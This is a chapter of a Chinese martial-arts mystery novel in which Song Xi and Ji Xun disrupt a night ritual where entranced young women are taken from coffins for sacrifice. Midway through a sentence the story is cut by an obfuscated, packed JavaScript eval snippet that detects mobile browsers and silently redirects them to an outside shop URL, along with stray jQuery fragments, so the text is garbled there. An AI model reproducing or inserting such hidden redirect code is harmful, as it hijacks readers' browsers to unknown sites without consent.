“锵!”
案前香灰折断,台上弦音落定刹那,长风起于魍魉纵行之地,掠过依依金丝兰,直奔肃肃梧桐林。
漫天浮云遮月。
宋晞几人心下正惶惶,没等看懂眼前情形动作,花田彼端长风嘹啸之地,忽听窸窸窣窣一阵响,火光刺破暗夜,一群昏鸟呼啦啦振翅而起,穿山过林,霎时遮天蔽日。
落影萧然,山间顿然不似人间。
刹那而已,林间的火光仿佛一条蜿蜒流动的河,沿着逶迤起伏的小径,很快蔓延至棺椁前方不远处的高台前。
直至火光一一落定,他几人才看清,那“小河”原是十数名手执火把的黑衣人。
不等台上之人开口,黑衣人已放下手中的火把,列队至高台前,倾身朝台上之人行礼。
行礼姿势倒是与祈人无异。
如是念头刚刚掠过脑海,圆月坠落神女峰下,长风萦回、万籁俱寂间——
“咚!”
“咚咚!”
一道木板叩击声始于田间,穿过长夜,一声声突兀又悚然,仿佛来自黄泉路上的叩问。
梧桐林间,宋晞下意识倒抽一口凉气。
没来得及出声,仿佛祭坛的高台正前方,最前面的两名黑衣人陡然抬头,不等遮面之人开口,倏地提步穿过花田,找到发出动静的棺椁所在,一左一右推开棺盖,将“沉睡”里间的女子拎小鸡仔似的提了出来。
“是她?!”
不等两人近前,看清那女子的面容,宋晞倏地惊呼出身,下意识倾身向前,意图看得更分明些。
长风习习,左右火把南顾北遮,将近前女子的面容照得正分明。
——若她没看错,近前之人并非旁人,正是彼时在神女庙时有过一面之缘,被她母亲当众责难的窈窕女子。
握着树干的五指微微用力,宋晞定睛再看,女子身穿棉质寝衣,垂坠至脚踝的衣摆因“长途跋涉”沾上了斑点泥泞。青丝散乱,两颊酡红,紧闭的双目不停飞转,仿佛在醒转边缘,又似被噩梦所魇,神情痛楚,偏又醒不过来。
莫不是因为福水洒了大半,她才会于半道醒转,又被黑衣人抓了个正着?
“嗯?”
姬珣正一脸方便地盯着高台方向,听她发出惊疑之声,偏过头道:“如何?”
宋晞轻揉了揉发痒的右耳,一边摇头,一边眼神示意他道:“看她的手!”
姬珣眯眼再看。
那女子被两名黑衣人一左一右架至半空,神情痛楚却不挣扎,双手紧握胸前,仿佛小心保护着什么。
“那是?”看清十指上方冒出的红绳,姬珣的目光倏地一凛,“福字缘结?”
——那枚由神女编织,只赐有缘人的福字缘结!
“原来如此。”
春月透过梧桐木,在她眉眼间落成深深浅浅的影。
不知是否朔风凛冽,还是月色太过昏晦之故,望着高台上的人,宋晞的目光倏而有些沉。
“初时我还不解,用下福水之人没有成千也有上百,听到笛音之人亦不在少数,倘若赵伯对福水的判断没有出错,今夜受笛音驱使之人为何只她几人?吹笛人显然也不以为怪?”
“你是说,”姬珣微微一顿,“那福缘结?!”
宋晞面色愈冷,颔首道:“若我所料不差,笛音与福缘结缺一不可,姑娘们才会在梦中被驱使。”
“可那福水……”
姬珣还待再问,高台方向倏而杳然,却是那两名身量魁梧的黑衣人架着神识不清的女子抵达高台前,其中一人伸手捏住女子的下巴,抬起她脸朝向吹笛人。
吹笛人提步走到台边,垂目扫了一眼,倏地收回目光,朝那人轻一颔首。
黑衣人会意,立时同另一人一道,一左一右行至香案前,而后一人扶着女子,另一人接过瓷碗,执起一早备下的长刀。
一缕月华顺着刀身掠向夜幕如罩的梧桐林,感同身受的痛楚倏忽席卷,宋晞倏地一激灵。
“阿晞?!”
姬珣拥住她双肩,正欲开口,抬眼看清林外情形,话到嘴边,又生生咽了回去。
原来如此。
谁人会受神女之罚?
谁人会在祀礼中途突然醒来,神识不清时本能叩击棺盖?
譬如孟愉,“其心不诚”,不曾满饮神女所赐之水。
譬如云裳,体质特殊,无论什么药,入口之后皆会失效。
而后再看眼前人与物……
无论孟愉还是夜半上山之人,莫不面容姣好、眉目清秀,且多是桃李年华……姬珣望向遥处的目光微微一顿。
——那人如此大费周章,莫不是为找到出走子虚谷的靡音族圣女?
先前他还以为,一面忌惮靡音族人,一面又觊觎族中圣女之人只今上一人,而今想来,永熹早知云裳被禁锢在南州,必不可能兴师动众,花三年功夫设下今日之局。
设局之人……
林外春月无边。
万顷金丝兰沐浴风中,伴着昭昭晚月,荡起一阵又一阵潋滟碎华。
望着暗夜下的神女峰,姬珣的目光越来越沉。
那人不仅曾自由出入子虚谷,深谙族人习性,且……想起方才宋晞因那琴声失神模样,姬珣呼吸骤凝,落在她肩上的力道陡然加重。
“子晔!”
宋晞的失声惊呼将他陡然唤回神,定睛一看,黑衣人手里泛着冷芒的刀尖已经刺破寝衣,离女子的心口只方寸之遥。
姬珣目光骤凛,顾不得迟疑,信手摘下三两叶梧桐,朝黑衣人所在飞掷而去。
“飒——”
两叶梧桐绕过高台,划出两道圆弧,又似长了眼睛般,掠过吹笛人,直击黑衣人手腕。
只听“锵”的一声,青叶分明柔如蝶,掠经刀身时,竟发出了清脆的金石之声!
“谁?!”
刀尖一歪,黑衣人的腕间陡然脱力,松手同时,眼里霎时泄出惶恐。
“主、主……”
十数黑衣人左顾右盼之时,台上的吹笛人已然抬头,如有实质的冷然视线正投向姬珣两人所在!
“疾风追影!”
“呿——”
姬珣话音未落,利落的口哨声刹时惊破天际。
左右昏鸟振翅而起。金木火土四影自梧桐林间飞身跃下,兵分两路,包抄向吹笛人所在。
林间凛风四起。
黑衣人丢下女子手忙脚乱,吹笛人却面不改色,飞快扫了一眼左右,倏地抬手一挥。
台下火把应声而灭。
“撤!”
不等姬珣一行人适应突如其来的黑暗,一声厉喝传来,吹笛人飞身而起,掠过十里金丝兰,直奔神女峰下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262145|134927||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而去。
十数黑衣人仿佛突然有了主心骨,不等四影近前,扔下火把棺椁,飞蹿进伸手不见五指的密林,眨眼不见踪影。
“疾风追影!”
姬珣抱住宋晞跃下梧桐木,箭步赶向那摔打在地的女子。
“是!”
飒飒两道劲风掠过,一叶梧桐没能落地,疾风追影已穿过梧桐林,只奔吹笛人离去之地飞身而去。
“爷!”
姬珣两人走到台前,刚扶起倒地的女子,追进林里的四影无功而返,垂头丧气道:“爷,林里乌漆墨黑的,莫说人了,连只鸟都没有,不知躲去了何处!”
“此地林深草茂,你我不熟悉地形,不可冒进!”
姬珣举目望向花田里的棺椁,思量片刻,转身吩咐几人道:“金影木影,将棺椁中的女子唤醒,一一送回家去。”
“是!”
“他娘的!”不等金影两人上前,火影按捺不住,一边缠起赤练,一边粗声粗气道,“这劳什子的金丝兰,害人不浅!不论那人是谁,看我一把火烧了这花田!”
“且慢!”
宋晞连忙站起身,拦住他道:“火影莫要冲动,金丝兰稀而贵,一把火烧了整片花田,未免可惜。”
“可!”火影瞪她一眼,恶声恶气道,“落入有心之人手中,岂不是会害更多人?”
宋晞看向不远处的花田,少作思量,又朝他几人道:“几位可曾好奇,一不小心便会致幻成瘾,鄀人怎会放心让其入香?”
“你是说?”姬珣眨眨眼,“金丝兰之毒,莫非有解?”
“正是!”宋晞舒展眉头,颔首道,“昔日在鄀国,我曾问过柳娘娘,若被发现时已身中金丝兰之毒,可有解?”
“她怎么说?”
“她说,”宋晞举目望向迎风招展的金丝兰,莞尔道,“有一物与金丝兰相伴相生,因形同雎鸠,鄀人唤其雎鸠草。”
“雎鸠草?”姬珣的眼睛倏地一亮。
宋晞轻一颔首,继续道:“那雎鸠草,少量服用可强身健体,若是服用过量……雎鸠草和金丝兰相生相克,互为解药。”
“此话当真?”火影近前一步。
宋晞再次颔首,解释道:“神女峰下暗潮涌动,而今敌暗我明,你我甚至不知那幕后之人是谁……即便真要毁去这花田,依我之见,不若先让赵伯上山来,摘些花草制成药丸,离开梁州前,你我皆带一些在身上,以防万一。”
“此话言之有理!”
姬珣轻一颔首,转向四影道:“金影木影,你二人送姑娘们下山后,回如归客栈一趟,把赵伯带来!”
“是!”
“火影土影,你二人再去神女庙一趟。”
“神女庙?”火影两人面面相觑,不解道,“爷,去神女庙作甚?”
“那神女庙,”姬珣举目望向遥处,双目忽闪道,“怕只怕,庙小乾坤大。”
火影目光一凛,拱手道:“是!”
“那我呢?我们呢?”宋晞近前一步,拉住他小指,轻道,“我们去何处?”
“我们?”
姬珣的目光转向孤灯摇曳的眸光,思量片刻,沉声道:“可还记得白日里孟愉娘亲曾说,那些个不信神女的姑娘,受了神罚后都被弃在了何处?”
“你是说,”宋晞目光忽闪,“义庄?!”